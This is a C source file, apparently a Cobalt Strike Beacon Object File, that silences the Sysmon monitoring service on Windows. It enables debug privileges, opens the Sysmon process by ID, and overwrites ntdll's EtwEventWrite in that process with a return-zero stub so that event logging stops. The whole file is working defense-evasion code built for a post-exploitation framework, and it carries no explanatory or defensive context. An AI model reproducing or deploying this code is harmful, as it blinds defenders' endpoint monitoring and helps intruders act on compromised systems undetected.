silencesysmon.c 2.2 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576
  1. #include <winternl.h>
  2. #include <windows.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <tlhelp32.h>
  7. #include "silencesysmon.h"
  8. #include "beacon.h"
  9. BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {
  10. HANDLE hToken;
  11. TOKEN_PRIVILEGES tp;
  12. LUID luid;
  13. if (!Advapi32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE;
  14. if (!Advapi32$LookupPrivilegeValueA(NULL, lpszPrivilege, &luid)) return FALSE;
  15. tp.PrivilegeCount = 1;
  16. tp.Privileges[0].Luid = luid;
  17. if (bEnablePrivilege) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  18. else tp.Privileges[0].Attributes = 0;
  19. if (!Advapi32$AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) return FALSE;
  20. if (KERNEL32$GetLastError() == ERROR_NOT_ALL_ASSIGNED) return FALSE;
  21. return TRUE;
  22. }
  23. int SilentSysmon(HANDLE hProc) {
  24. HANDLE hThread = NULL;
  25. unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
  26. void * pEventWrite = GetProcAddress(GetModuleHandle("ntdll.dll"), (LPCSTR) sEtwEventWrite);
  27. #ifdef _WIN64
  28. char patch[] = "\x48\x33\xc0\xc3";
  29. #else
  30. char patch[] = "\x33\xc0\xc2\x14\x00";
  31. #endif
  32. KERNEL32$WriteProcessMemory(hProc, pEventWrite, (PVOID) patch, (SIZE_T) sizeof(patch), (SIZE_T *) NULL);
  33. KERNEL32$FlushInstructionCache(hProc, pEventWrite, 4096);
  34. return 0;
  35. }
  36. int go(char *args, int len) {
  37. int pid = 0;
  38. HANDLE hProc = NULL;
  39. datap parser;
  40. BeaconDataParse(&parser, args, len);
  41. pid = BeaconDataInt(&parser);
  42. if (!SetPrivilege(SE_DEBUG_NAME, ENABLE)) {
  43. BeaconPrintf(CALLBACK_ERROR, "Not enough privileges to silence Sysmon.\n");
  44. return 0;
  45. }
  46. if (pid) {
  47. hProc = KERNEL32$OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD) pid);
  48. if (hProc != NULL) {
  49. SilentSysmon(hProc);
  50. BeaconPrintf(CALLBACK_OUTPUT, "[+] DONE! Sysmon successfully silenced!\n");
  51. KERNEL32$CloseHandle(hProc);
  52. }
  53. else BeaconPrintf(CALLBACK_ERROR, "Failed to open a handle to the Sysmon process!\n");
  54. }
  55. else BeaconPrintf(CALLBACK_ERROR, "Please specify the correct process ID of the Sysmon service!\n");
  56. return 0;
  57. }